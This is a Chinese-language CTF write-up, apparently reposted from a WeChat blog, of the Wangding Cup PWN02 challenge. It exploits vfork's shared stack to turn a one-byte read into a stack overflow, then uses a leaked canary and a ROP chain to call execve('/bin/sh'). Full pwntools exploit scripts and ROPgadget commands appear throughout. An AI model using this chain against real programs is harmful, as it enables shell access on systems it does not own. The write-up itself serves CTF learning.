静态链接,没main,有start。
401845重命名main
4017B4点进去报红,明显应该是4017B5,U+C+P三连修复。
修复后发现是pwn题特有设置缓冲区方便做题的,不用管。
先看401931
因为静态链接的原因,这些函数点进去发现都是系统调用那些我们熟悉的函数,因此改个名方便阅读。
vfork另起一个线程去执行puts+read,read只有一个字节,看起来无论如何没有溢出。
再看4019E9
同样是简单puts/read,没有溢出。但给了个gift,执行一下程序看看情况。
很明显是canary。此外,程序看起来是先执行4019E9再执行401931,跟代码顺序相反,这是什么原因呢?是因为主进程用vfork创建子线程,执行了wait,因此要等主线程exit,子线程才继续向下执行。因此401931的puts/read,比4019E9的puts/read要晚。
涉及子线程的gdb调试,需要用到
set follow-fork-mode child
set detach-on-fork off
PIE保护关闭了,我们分别在0x401A30和0x401995断点,也就是puts(“leave your name”)和puts(“Wanna return?”)
gdb ./pwn
set follow-fork-mode child
set detach-on-fork off
b *0x401A30
b *0x401995
r
成功断到主进程的puts。
read处随便写几个A,直接c让主进程结束(如果这里没有提前set,子进程也会跟着结束)。
接下来切换到子进程。
info inferiors
inferior 1
然后c一下就能断到子进程的0x401995
此时我们会发现一个有意思的地方,rbp下方的ret addr指向0x401780,这是什么?
似乎是一个隐藏的没有任何地方调用的函数,却偷偷藏在401931()创建的子进程中,它用while(1)不断vfork()创建更多的子进程,而且不再wait。似乎它就是这题的题眼,但看起来还是没溢出啊。
回到gdb,不断的n,发现根本就到不了ret,提前就exit了。当然,这并没有什么问题,因为代码中就是这样写的。
那么怎样进入0x401780呢?看401931()的反编译代码是看不出来的,只有汇编中存在一个不起眼的cmp。
跟到4019D2中发现有机会正常ret,进入0x401780。那么要如何做到呢?cmp rbp+N, 1。看起来需要栈溢出来控制rbp+N为0x1,但这个read只写1个字节,无论如何也不可能存在栈溢出。
这个时候就需要了解vfork()这个创建子进程函数的弊端了,它会和主进程共享内存空间,包括栈。因此在主进程的read中,我们输入最长的A。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n c")
#sh = process("./pwn")
sh.sendafter("leave your name","A"*64)
sh.sendafter("Wanna return?","B")
sh.interactive()
来到cmp,可以发现栈上确实有很多被主进程写入的A,rbp-0x28完全可以控制。那么直接将A*64换成p64(1)*8。
成功通过校验,一路n下去,发现确实可以ret到40186B()
重写脚本,给40186B()下断点到0x4018D4,由于40186B()会while(1)不断起子进程,因此多写几个sendafter()看栈上会发生什么变化。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n b *0x4018D4 n c")
#sh = process("./pwn")
sh.sendafter("leave your name",p64(1)*8)
sh.sendafter("Wanna return?","B")
sh.sendafter("once again?","C"*256)
sh.sendafter("once again?","D"*256)
sh.sendafter("once again?","E"*256)
sh.sendafter("once again?","F"*256)
sh.interactive()
(PS:这时不能关闭ALSR,否则会导致后面的几次read无法写入)
第一次40186B ()->read()如下,确实无法栈溢出。
第二次40186B()->read(),发生了变化,第三个参数RDX变成0x43434343了,因为0x100也是从栈上取得。简单点说,因为vfork()公用栈的原因,导致可以read一个很大的空间,形成栈溢出。
算一下偏移量,这里由于有两个canary,保险起见只到canary。
不过问题还没结束,40186B()有着和401931()一样的毛病,提前exit()无法正常ret,同样有着一个隐藏cmp。
和之前铺很多的p64(0x1)一样,我们铺一下p32(0x11111111)。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n b *0x4018D4 n c")
#sh = process("./pwn")
canary = int(sh.recvuntil("n")[8:24],16)
print(hex(canary))
sh.sendafter("leave your name",p64(1)*8)
sh.sendafter("Wanna return?","B")
sh.sendafter("once again?","C"*256)
payload = p32(0x11111111) * 64 + p64(canary) + p64(canary) + "D"*8 + "E"*8
sh.sendafter("once again?",payload)
sh.sendafter("once again?","E"*256)
sh.sendafter("once again?","F"*256)
sh.interactive()
在第三次40186B ()的时候,成功ret到预期地址。
接着就是getshell了,由于用的静态链接,没/bin/sh,因此有多种方法,要么用mprotect分配可读可写可执行的地址然后写shellcode,要么写/bin/sh到bss段,然后system,要么orw等等都行。
全部用ROPgadget进行系统调用。
ROPgadget --binary ./pwn --only "pop|ret" | grep rax
ROPgadget --binary ./pwn --opcode 0F05C3
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n b *0x4018D4 n c")
sh = process("./pwn")
canary = int(sh.recvuntil("n")[8:24],16)
print(hex(canary))
sh.sendafter("leave your name",p64(1)*8)
sh.sendafter("Wanna return?","B")
sh.sendafter("once again?","C"*256)
pop_rax = 0x0000000000450277
pop_rdi = 0x000000000040213f
pop_rsi = 0x000000000040a1ae
pop_rdx_rbx = 0x0000000000485feb
syscall = 0x000000000041ac26
ret = 0x41ac28
bss = 0x4CB800
payload = p32(0x11111111) * 64 + p64(canary) + p64(canary) + "D"*8
#read(0,bss,0x100)
payload+= p64(pop_rax) + p64(0x0) + p64(pop_rdi) + p64(0x0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x100) + p64(0x100) + p64(syscall)
payload+= p64(ret)
#execve('/bin/sh',0,0)
payload+= p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0x0) + p64(pop_rdx_rbx) + p64(0x0) + p64(0x0) + p64(syscall)
sh.sendafter("once again?",payload)
sh.send("/bin/sh")
sh.interactive()
不是很稳定,但大概率getshell
原文始发于微信公众号(珂技知识分享):web选手入门pwn(22) ——网鼎杯PWN02(vfork)